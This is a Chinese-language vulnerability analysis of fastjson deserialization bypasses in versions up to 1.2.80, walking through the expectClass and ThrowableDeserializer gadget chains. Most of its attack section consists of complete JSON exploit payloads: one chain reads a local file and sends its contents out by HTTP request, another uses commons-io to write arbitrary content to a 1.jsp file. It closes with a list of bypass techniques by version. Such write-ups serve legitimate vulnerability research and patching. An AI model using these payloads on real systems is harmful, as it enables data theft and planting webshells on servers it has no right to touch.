<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.2.21</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.2</version>
</dependency>

这个将文件读取的结果进行http外带

poc1:

[{
"@type": "java.lang.Exception",
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
},
{
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits": [{}]
}
}
},
{
"x": {
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "aaa"
}
}]

poc2:

{
"su14": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},
"su15": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},
"su16": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:8080/?test",
"country": {
"@type": "java.lang.String" [{
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "C:/Windows/win.ini"
}]

}
}
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36
]
}]
}
}
}
},
"su17": {
"$ref": "$.su16.node.p.stream"
},
"su18": {
"$ref": "$.su17.bOM.bytes"
}
}

一步步来看,首先是这个:

[{
"@type": "java.lang.Exception",
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}

利用expectClass绕过checkAutoType检测,并将SourceTypeCollisionException类进行缓存,以便绕过对SourceTypeCollisionException类的checkAutoType的检测

{
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits": [{}]
}
}
},

这一步会调用ParserConfig.getDeserializer为newAnnotationProcessorUnits所在的类ICompilationUnit创建deserializer并放入缓存,以便绕过对ICompilationUnit类的checkAutoType的检测

{
"x": {
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "aaa"
}
}]

这里同样利用expectClass绕过checkAutoType并将BasicCompilationUnit类进行缓存,以便绕过对BasicCompilationUnit类的checkAutoType的检测

然后是poc2

{"su14": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},

对OgnlException进行缓存,以便绕过对OgnlException类的checkAutoType的检测

"su15": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},

这一步会调用ParserConfig.getDeserializer为_evaluation所在的类Evaluation创建deserializer并放入缓存,以便绕过对Evaluation类的checkAutoType的检测

"su16": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",

调用Evaluation类的构造函数,传入node参数

node为ASTMethod类,调用ASTMethod类的构造函数,传入p参数,p为OgnlParser类

"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
.....
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36
]
}]

再调用OgnlParser类的构造函数,传递stream参数

stream为BOMInputStream类,再调用BOMInputStream类的构造函数,传递delegate、boms参数

再调用ReaderInputStream类的构造函数

"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
...
"charsetName": "UTF-8",
"bufferSize": 1024

传递reader、charsetName、bufferSize参数,reader为URLReader类,调用URLReader类的构造函数,传递url参数,url为String类型

一些细节需要注意:

"@type": "java.lang.String" {会调用parse解析后面整个对象,然后调用toString()返回

"@type": "java.lang.String" [和{的一样

"@type": "java.lang.String" "会直接返回后面第一个双引号引起来的字符串,然后交给其他类进行解析

1679726848_641e99008964b43ff7f46.png!small?1679726848931

回到这里

"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {

他会把后面当成对象解析

获取Locale的deserializer(MiscCodec),然后调用deserializer的deserialize方法

val为JSONObject类,将val作为对象解析

"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:8080/?test",
"country": {
"@type": "java.lang.String" [{
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "C:/Windows/win.ini"
}]

}
}
},

这里调用Locale的构造函数,传language和country,并封装成BaseLocale类型赋值给baseLocale属性

1679726860_641e990cbf52620c2bf93.png!small?1679726860968

在country里,会调用BasicCompilationUnit的构造函数,传递fileName参数

"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:8080/?test",
"country": {
"@type": "java.lang.String" [{
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "C:/Windows/win.ini"
}]

}
}
},

},

最后将val的解析结果封装成JSONObject,这时候会调用BasicCompilationUnit的getter方法

1679726867_641e9913dcfb633b290a3.png!small?1679726868226

在BasicCompilationUnit的getContents方法中读取文件,并返回字节数组,同时调用其他getter方法,将属性值不为null的封装到JSONObject中

1679726873_641e991952b7fb5a0c8c2.png!small?1679726873663

1679726879_641e991fdf52ee0e7610f.png!small?1679726880419

之前说过,"@type": "java.lang.String" {会调用parse解析后面整个对象,然后调用toString()返回,所以会调用Locale.toString()方法返回字符串给url

1679726885_641e9925729a6f38f670c.png!small?1679726885777

会将baseLocale的属性使用_分割并组装

1679726891_641e992b45938272143c4.png!small?1679726891981

"su17": {
"$ref": "$.su16.node.p.stream"
},
"su18": {
"$ref": "$.su17.bOM.bytes"
}
小插曲

"$ref": "$.su16.node.p.stream"表示引用根对象下su16对象的node对象下的p对象下的stream

对于引用来说,在DefaultJSONParser的parseObject中,当解析到引用时并不会立即解析,而是先编译然后加到任务队列

1679726898_641e993291c9178992ad6.png!small?1679726898861

然后使用null作为该引用的解析结果,然后返回到外层JSON.parse中

1679726904_641e99380b263dbed30e7.png!small?1679726904160

1679726909_641e993db644bbd3228ca.png!small?1679726910010

然后在JSON.parse中处理所有引用关系,此时开始真正解析引用类型

1679726915_641e994335d45e25bc3f4.png!small?1679726915426

在handleRsovleTask中,遍历任务队列,解析引用类型,然后调用getObject拿到该引用类型的值

1679726920_641e9948833218fa23c89.png!small?1679726920909

在getObject中比较简单,遍历所有树节点,这些树节点是提前解析好的了,已经有对应的值存储在节点里,然后判断该引用是否跟节点相同,相同就返回节点对应的值。

1679726925_641e994de4353536c0838.png!small?1679726926207

$.su16.node.p.stream的值为BOMInputStream

1679726931_641e9953f1e5bda751b9e.png!small?1679726932185

第二次解析$.su17.bOM.bytes由于在之前所有节点中并没有该引用,所以返回null

1679726938_641e995aed4d3b2881955.png!small?1679726939341

refValue为null时,会解析该封装成JSONPath,并调用eval解析

1679726944_641e9960bbb9b2527f7be.png!small?1679726944999

然后会将JSONPath分成三个属性段,第一个为su17,第二个为bOM,第三个为bytes

1679726949_641e99659ccd9ccaf106b.png!small?1679726950053

然后调用eval方法取每个属性段的值

1679726956_641e996c282aa648fefbe.png!small?1679726956721

然后在JSONPath.getPropertyValue方法中

如果currentObject是Map类型,他首先会在currentObject取属性段的值。若不是Map类型,则调用getter方法去取对应属性的值。

1679726962_641e9972a45cf5f55b8dd.png!small?1679726963051

1679726973_641e997d9d985c6515ab2.png!small?1679726973755

为什么不合在一起写成"$ref": "$.su16.node.p.stream.bom.bytes"

一开始从节点中找不到这个$.su16.node.p.stream.bom.bytes,所以refValue为null,然后调用JSONPath.eval解析该路径,JSONPath.eval会将该路径解析成一个个属性段,然后将调用属性段的eval方法将返回值给currentObject,下次循环再将currentObject进行传参调用eval方法

1679726979_641e9983e735352b01e22.png!small?1679726980235

所以这个路径$.su16.node.p.stream.bom.bytes是这样解析的

  1. $的值为Evaluation类

  2. 然后调用Evaluation类的getNode方法获取node(ASTMethod类)

  3. 然后ASTMethod类的getter方法获取p,由于p没有getter方法所以返回null

  4. 然后将currentObjct(null)作为参数接着执行属性段的eval方法

  5. 然后在JSONPath.getPropertyValue方法判断currentObjct为null,所以返回null,再赋值给currentObject

  6. 所以p属性段的解析结果为null,后面继续循环4-6步骤

  7. 最终返回currentObject为null

"su17": {
"$ref": "$.su16.node.p.stream"
},
"su18": {
"$ref": "$.su17.bOM"
}

su17拿到BOMInputStream对象,然后调用getBOM方法

1679726988_641e998c5d5b0018fa6bf.png!small?1679726988678

调用in.read(),in为ReaderInputStream

1679726994_641e9992b627fb6c2887d.png!small?1679726995233

1679727000_641e9998b920f9a4b182f.png!small?1679727001212

reader为URLReader,调用URLReader的read()方法

1679727008_641e99a02a082c8b0c94f.png!small?1679727008461

调用getReader方法

1679727013_641e99a56416baf5d0592.png!small?1679727013786

url封装了读取文件的结果,将url作为参数,调用Source.readFully()方法

1679727018_641e99aac6eab6826cf9e.png!small?1679727019025

发起请求,将读取的文件外带

写文件

使用ognl库配合commons-io库

这条链配合了commons-io那条链(XmlStreamReader链来完成文件读写操作)

{
"su14": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},
"su15": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},
"su16": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aa大于8192个字符"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"1.jsp",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
},
"su17": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},
"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
},
"su18": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},
"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
},
"su19": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},
"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
},
}

这里的原理和上面的读文件相同,只不过在构造ReaderInputStream时,传入的reader为XmlStreamReader,触发了commons-io文件读写那条链

后面su17、su18、su19是为了触发三次写入,之前说过写一次限制为4096字节,而只有当写入超过8192字节才会刷新缓存区真正写入到文件中;

XmlStreamReader在构造器方法中会触发doRawStream()方法,在doRawStream()方法中触发getBOMCharsetName(),在getBOMCharsetName()中触发getBOM(),getBOM()触发TeeInputStream的read()方法,此时TeeInputStream为同一个对象(因为引用了上一个对象),就可以达循环读写。

总结

还有其他一些比较冷门的利用链,就没必要看了

fastjson=1.2.83

1.2.83中,在ParserConfig的checkAutoType中,

若为Throwable的子类,则clazz置null,并返回

1679727030_641e99b6a1350e3ee2207.png!small?1679727030853

同时类名以Exception或者Error结尾的都会返回null

1679727035_641e99bb4f9af623ac183.png!small?1679727035729

两层防御导致有关ThrowableDeserializer那条链的绕过失效;

重新审视这张图

1679727040_641e99c0c9632c4efa745.png!small?1679727040985

唯一能利用expectClass进行绕过的只有JavaBeanDeserializer这条链,而需要有一个类满足一些条件,且他的deserializer为JavaBeanDeserializer,这时就可以绕过checkAutoType的检测;

1.2.83及以上未爆出新的漏洞了,但是根据FastJSON的尿性,估计肯定还会有不少漏洞,肯定也有不少师傅存着一些POC在偷偷利用也说不定;

总结

1.2.24之下无限制,随便玩

1.2.25到1.2.41新增黑白名单,使用L开头;结尾进行绕过

1.2.42双写L开头;结尾进行绕过

1.2.43使用[进行绕过

1.2.47及以下使用MiscCodec类刷新缓存绕过

1.2.48cache为false,不给存入缓存

1.2.48到1.2.80利用expectClass绕过

-1.2.48到1.2.68使用AutoCloseable进行绕过

-1.2.69到1.2.80使用ThrowableDeserializer进行绕过

Reference

# 漏洞 # 漏洞分析 # java反序列化 # Java代码审计 # JAVA安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录